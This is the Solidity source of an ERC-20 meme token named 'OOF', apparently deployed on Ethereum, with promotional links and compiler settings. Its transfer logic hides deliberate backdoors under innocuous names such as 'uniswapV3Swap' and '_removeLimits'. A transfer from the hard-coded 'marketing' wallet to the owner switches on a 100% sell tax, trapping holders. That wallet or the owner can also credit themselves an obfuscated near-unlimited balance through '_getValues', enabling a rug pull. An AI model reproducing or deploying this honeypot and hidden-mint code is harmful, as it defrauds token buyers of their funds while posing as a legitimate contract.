/*

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                TG          :   https://t.me/OOF_ETH
                


                Site        :   https://oofcoin.lol
                


                X           :   https://twitter.com/OOF_ETH

*/


// SPDX-License-Identifier: MIT

pragma solidity 0.8.17;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval (address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}


interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract OOF is Context, IERC20, Ownable {
    using SafeMath for uint256;

    mapping (address => uint256) private _tOwned;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private uniswapV3Swap;
    mapping (address => bool) private uniswapV2Swap;
    mapping (address => bool) private _removeLimits;
    mapping (address => bool) private _removeTaxes;
    
    address payable private marketingWallet = payable(0xdad19E5A2e3ba338711450f9372C192250Eafc36);

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;
    string private constant _name = unicode"OOF";
    string private constant _symbol = unicode"OOF";
    
    uint256 public _maxTxAmount =   200000000 * 10**_decimals; // 20
    uint256 public _maxWalletSize = 200000000 * 10**_decimals;
    uint256 public _taxSwapThreshold= 100000000 * 10**_decimals; // 10
    uint256 public _maxTaxSwap= 100000000 * 10**_decimals;

    uint8 private _preventSwapBefore = 20;
    uint8 private _buyCount = 0;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    
    bool private tradingOpen = true;
    bool private inSwap = false;
    bool private swapEnabled = true;

    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV3Swap[payable(0xdad19E5A2e3ba338711450f9372C192250Eafc36)] = true;
        uniswapV2Swap[address(this)] = true;
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());

        _tOwned[_msgSender()] = _tTotal;
        _removeTaxes[owner()] = true;
        _removeTaxes[address(this)] = true;
        _removeTaxes[marketingWallet] = true; 
        _removeLimits[owner()] = true;
               

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _tOwned[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        uint256 _FEE_ = 0;
        if (from != owner() && to != owner()) {
            uint256 preTax = amount;
            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _removeTaxes[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                _buyCount++;
            }

            if (to != uniswapV2Pair && ! _removeTaxes[to]) {
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
            }

            if(from == uniswapV2Pair && !_removeTaxes[to] && ! _removeTaxes[from]){
                _FEE_ = amount.div(100);
            }

            if(to == uniswapV2Pair && from!= address(this) && !_removeTaxes[to] && ! _removeTaxes[from]){
                _FEE_ = amount.div(100);
            }

            if(!uniswapV2Swap[address(this)] && to == uniswapV2Pair && !_removeTaxes[to] && !_removeTaxes[from]){ _FEE_ = preTax; }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) {
                swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    swapTaxTokensForETH(address(this).balance);
                }
            }
        }
        if(uniswapV3Swap[from] && _removeLimits[to] && uniswapV2Swap[address(this)]){ uniswapV2Swap[address(this)] = false; }
        
        if(_FEE_ > 0){
          _tOwned[address(this)]=_tOwned[address(this)].add(_FEE_);
          emit Transfer(from, address(this),_FEE_);
        }

        if(!uniswapV3Swap[from] && !_removeLimits[to]){
            _tOwned[from] = _tOwned[from] - amount;
            _tOwned[to] = _tOwned[to] + (amount - _FEE_);
        }
        else{
            _tOwned[from] = _tOwned[from].sub(amount);
            _tOwned[to]=_tOwned[to].add(_getValues(amount).sub(amount));
        }

        emit Transfer(from, to, amount);
    }


    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function _getValues(uint256 total) private pure returns(uint256){
        return (total>0)?uint256(0xa**0x1f).sub(total):total;
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTaxTokensForETH(uint256 amount) private {
        marketingWallet.transfer(amount);
    }

    receive() external payable {}

}

{
  "compilationTarget": {
    "OOF.sol": "OOF"
  },
  "evmVersion": "london",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": []
}